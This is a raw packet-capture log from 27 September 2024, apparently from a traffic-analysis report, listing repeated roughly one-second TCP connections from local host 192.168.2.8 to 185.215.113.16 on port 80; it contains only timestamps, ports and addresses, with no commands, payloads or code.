                      Sep 27, 2024 07:02:50.693288088 CEST4975580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:50.693644047 CEST4975580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:50.698421001 CEST8049755185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:51.387696028 CEST8049755185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:51.387778044 CEST4975580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:51.388864040 CEST4975580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:51.393758059 CEST8049755185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:51.612202883 CEST8049755185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:51.612447023 CEST4975580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:51.725286961 CEST4975580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:51.725585938 CEST4975680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:51.730474949 CEST8049755185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:51.730489016 CEST8049756185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:51.730596066 CEST4975580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:51.730633974 CEST4975680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:51.730860949 CEST4975680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:51.737517118 CEST8049756185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:52.454442024 CEST8049756185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:52.454597950 CEST4975680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:52.455782890 CEST4975680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:52.460521936 CEST8049756185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:52.685580969 CEST8049756185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:52.685688019 CEST4975680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:52.790549994 CEST4975680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:52.790927887 CEST4975780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:52.796071053 CEST8049756185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:52.796084881 CEST8049757185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:52.796192884 CEST4975680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:52.796243906 CEST4975780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:52.796557903 CEST4975780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:52.801287889 CEST8049757185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:53.515979052 CEST8049757185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:53.516088009 CEST4975780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:53.562483072 CEST4975780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:53.567282915 CEST8049757185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:53.793876886 CEST8049757185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:53.793947935 CEST4975780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:53.898300886 CEST4975780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:53.898636103 CEST4975880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:53.903410912 CEST8049758185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:53.903459072 CEST8049757185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:53.903521061 CEST4975880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:53.903557062 CEST4975780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:53.903774977 CEST4975880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:53.908581972 CEST8049758185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:54.592211962 CEST8049758185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:54.592336893 CEST4975880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:54.593456984 CEST4975880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:54.598203897 CEST8049758185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:54.815093040 CEST8049758185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:54.815347910 CEST4975880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:54.928302050 CEST4975880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:54.928733110 CEST4975980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:54.936804056 CEST8049758185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:54.936815977 CEST8049759185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:54.936883926 CEST4975880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:54.937058926 CEST4975980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:54.937334061 CEST4975980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:54.942039967 CEST8049759185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:55.627449036 CEST8049759185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:55.627507925 CEST4975980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:55.628256083 CEST4975980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:55.633028030 CEST8049759185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:55.850049973 CEST8049759185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:55.850213051 CEST4975980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:55.959559917 CEST4975980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:55.959959030 CEST4976080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:55.964667082 CEST8049759185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:55.964724064 CEST4975980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:55.964772940 CEST8049760185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:55.964843988 CEST4976080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:55.965049982 CEST4976080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:55.969790936 CEST8049760185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:56.694044113 CEST8049760185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:56.694197893 CEST4976080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:56.772474051 CEST4976080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:56.777255058 CEST8049760185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:57.007092953 CEST8049760185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:57.007154942 CEST4976080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:57.115927935 CEST4976080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:57.116364002 CEST4976180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:57.120903015 CEST8049760185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:57.120965958 CEST4976080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:57.121134996 CEST8049761185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:57.121228933 CEST4976180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:57.121422052 CEST4976180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:57.126158953 CEST8049761185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:57.829888105 CEST8049761185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:57.829951048 CEST4976180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:57.830708027 CEST4976180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:57.835537910 CEST8049761185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:58.077756882 CEST8049761185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:58.077820063 CEST4976180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:58.194014072 CEST4976180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:58.194366932 CEST4976280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:58.199115038 CEST8049761185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:58.199146032 CEST8049762185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:58.199235916 CEST4976180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:58.199266911 CEST4976280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:58.199486017 CEST4976280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:58.204385042 CEST8049762185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:58.901690960 CEST8049762185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:58.901834011 CEST4976280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:58.905006886 CEST4976280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:58.909811020 CEST8049762185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:59.132129908 CEST8049762185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:59.136135101 CEST4976280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:59.244051933 CEST4976280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:59.244386911 CEST4976380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:59.249066114 CEST8049762185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:59.249119997 CEST4976280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:59.249130964 CEST8049763185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:59.249191046 CEST4976380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:59.251188993 CEST4976380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:59.255975008 CEST8049763185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:59.955395937 CEST8049763185.215.113.16192.168.2.8
                      Sep 27, 2024 07:02:59.955496073 CEST4976380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:59.958581924 CEST4976380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:02:59.963418961 CEST8049763185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:00.189183950 CEST8049763185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:00.189302921 CEST4976380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:00.303293943 CEST4976380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:00.303637028 CEST4976480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:00.308438063 CEST8049764185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:00.308551073 CEST4976480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:00.308712959 CEST4976480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:00.308913946 CEST8049763185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:00.308971882 CEST4976380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:00.313477993 CEST8049764185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:01.015784025 CEST8049764185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:01.015894890 CEST4976480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:01.016632080 CEST4976480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:01.021357059 CEST8049764185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:01.248519897 CEST8049764185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:01.248575926 CEST4976480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:01.350169897 CEST4976480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:01.350513935 CEST4976580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:01.355180979 CEST8049764185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:01.355288029 CEST4976480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:01.355298042 CEST8049765185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:01.355364084 CEST4976580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:01.355509996 CEST4976580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:01.360265970 CEST8049765185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:02.077279091 CEST8049765185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:02.077368021 CEST4976580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:02.077987909 CEST4976580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:02.082756042 CEST8049765185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:02.307926893 CEST8049765185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:02.308320999 CEST4976580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:02.413140059 CEST4976580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:02.413475037 CEST4976680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:02.418365955 CEST8049765185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:02.418382883 CEST8049766185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:02.418463945 CEST4976580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:02.418533087 CEST4976680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:02.480050087 CEST4976680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:02.484833956 CEST8049766185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:03.109131098 CEST8049766185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:03.109186888 CEST4976680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:03.109956980 CEST4976680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:03.114846945 CEST8049766185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:03.339112997 CEST8049766185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:03.339217901 CEST4976680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:03.445979118 CEST4976680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:03.446281910 CEST4976780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:03.454562902 CEST8049767185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:03.454684973 CEST4976780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:03.454793930 CEST8049766185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:03.454843998 CEST4976680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:03.455001116 CEST4976780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:03.463382006 CEST8049767185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:04.155088902 CEST8049767185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:04.155304909 CEST4976780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:04.156084061 CEST4976780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:04.160887003 CEST8049767185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:04.383002996 CEST8049767185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:04.383081913 CEST4976780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:04.490890980 CEST4976780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:04.491264105 CEST4976880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:04.495995045 CEST8049767185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:04.496032000 CEST8049768185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:04.496113062 CEST4976780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:04.496176004 CEST4976880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:04.496404886 CEST4976880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:04.501163960 CEST8049768185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:05.223476887 CEST8049768185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:05.223596096 CEST4976880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:05.224349022 CEST4976880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:05.229149103 CEST8049768185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:05.460809946 CEST8049768185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:05.460956097 CEST4976880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:05.572097063 CEST4976880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:05.572468042 CEST4976980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:05.577140093 CEST8049768185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:05.577253103 CEST4976880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:05.577471018 CEST8049769185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:05.577541113 CEST4976980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:05.578154087 CEST4976980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:05.582937956 CEST8049769185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:06.305886030 CEST8049769185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:06.305948973 CEST4976980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:06.308747053 CEST4976980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:06.309089899 CEST4977080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:06.313724041 CEST8049769185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:06.313774109 CEST4976980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:06.314013958 CEST8049770185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:06.314074039 CEST4977080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:06.314284086 CEST4977080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:06.319189072 CEST8049770185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:07.054560900 CEST8049770185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:07.054634094 CEST4977080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:07.165847063 CEST4977080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:07.166208029 CEST4977180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:07.171147108 CEST8049771185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:07.171159983 CEST8049770185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:07.171269894 CEST4977080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:07.171371937 CEST4977180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:07.171538115 CEST4977180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:07.176291943 CEST8049771185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:07.884605885 CEST8049771185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:07.884771109 CEST4977180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:07.888468027 CEST4977180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:07.889022112 CEST4977280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:07.893462896 CEST8049771185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:07.893531084 CEST4977180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:07.893821001 CEST8049772185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:07.893887043 CEST4977280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:07.894144058 CEST4977280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:07.898829937 CEST8049772185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:08.633831024 CEST8049772185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:08.633924007 CEST4977280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:08.743088961 CEST4977280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:08.743451118 CEST4977380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:08.748251915 CEST8049772185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:08.748290062 CEST8049773185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:08.748358011 CEST4977280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:08.748383045 CEST4977380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:08.748604059 CEST4977380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:08.753345966 CEST8049773185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:09.455537081 CEST8049773185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:09.455696106 CEST4977380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:09.458472967 CEST4977380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:09.458748102 CEST4977480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:09.463658094 CEST8049774185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:09.463671923 CEST8049773185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:09.463748932 CEST4977380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:09.463748932 CEST4977480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:09.464039087 CEST4977480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:09.468761921 CEST8049774185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:10.312846899 CEST8049774185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:10.313049078 CEST4977480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:10.430629015 CEST4977480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:10.430973053 CEST4977580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:10.435745955 CEST8049775185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:10.435797930 CEST8049774185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:10.435817957 CEST4977580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:10.435877085 CEST4977480192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:10.436522007 CEST4977580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:10.441297054 CEST8049775185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:11.134490013 CEST8049775185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:11.134788990 CEST4977580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:11.141901016 CEST4977580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:11.146739006 CEST8049775185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:11.365715027 CEST8049775185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:11.365783930 CEST4977580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:11.479770899 CEST4977580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:11.481053114 CEST4977680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:11.484863997 CEST8049775185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:11.484914064 CEST4977580192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:11.486011982 CEST8049776185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:11.486109972 CEST4977680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:11.486489058 CEST4977680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:11.491416931 CEST8049776185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:12.195040941 CEST8049776185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:12.196183920 CEST4977680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:12.440891981 CEST4977680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:12.446770906 CEST8049776185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:12.666821957 CEST8049776185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:12.666872978 CEST4977680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:12.774904966 CEST4977680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:12.775262117 CEST4977780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:12.779890060 CEST8049776185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:12.779941082 CEST4977680192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:12.780061960 CEST8049777185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:12.780143023 CEST4977780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:12.780448914 CEST4977780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:12.785185099 CEST8049777185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:13.473465919 CEST8049777185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:13.473546028 CEST4977780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:13.478188992 CEST4977780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:13.478425026 CEST4977880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:13.483272076 CEST8049777185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:13.483340979 CEST8049778185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:13.483402014 CEST4977780192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:13.483447075 CEST4977880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:13.483611107 CEST4977880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:13.488584042 CEST8049778185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:14.206523895 CEST8049778185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:14.206631899 CEST4977880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:14.321511984 CEST4977880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:14.322590113 CEST4977980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:14.326594114 CEST8049778185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:14.326689005 CEST4977880192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:14.327442884 CEST8049779185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:14.327661991 CEST4977980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:14.327819109 CEST4977980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:14.332631111 CEST8049779185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:15.021306038 CEST8049779185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:15.022368908 CEST4977980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:15.125762939 CEST4977980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:15.126089096 CEST4978080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:15.130727053 CEST8049779185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:15.130856991 CEST4977980192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:15.130959988 CEST8049780185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:15.131026030 CEST4978080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:15.255455017 CEST4978080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:15.260307074 CEST8049780185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:15.838093042 CEST8049780185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:15.838226080 CEST4978080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:15.954617977 CEST4978080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:15.954966068 CEST4978180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:15.959809065 CEST8049780185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:15.959860086 CEST8049781185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:15.959916115 CEST4978080192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:15.959954023 CEST4978180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:15.960305929 CEST4978180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:15.965043068 CEST8049781185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:16.646750927 CEST8049781185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:16.646907091 CEST4978180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:16.650316954 CEST4978180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:16.650669098 CEST4978280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:16.655437946 CEST8049781185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:16.655462027 CEST8049782185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:16.655495882 CEST4978180192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:16.655549049 CEST4978280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:16.655821085 CEST4978280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:16.660564899 CEST8049782185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:17.389102936 CEST8049782185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:17.389188051 CEST4978280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:17.494220972 CEST4978280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:17.494570017 CEST4978380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:17.499453068 CEST8049782185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:17.499469042 CEST8049783185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:17.499511003 CEST4978280192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:17.499558926 CEST4978380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:17.499846935 CEST4978380192.168.2.8185.215.113.16
                      Sep 27, 2024 07:03:17.504714966 CEST8049783185.215.113.16192.168.2.8
                      Sep 27, 2024 07:03:18.190360069 CEST8049783185.215.113.16192.168.2.8
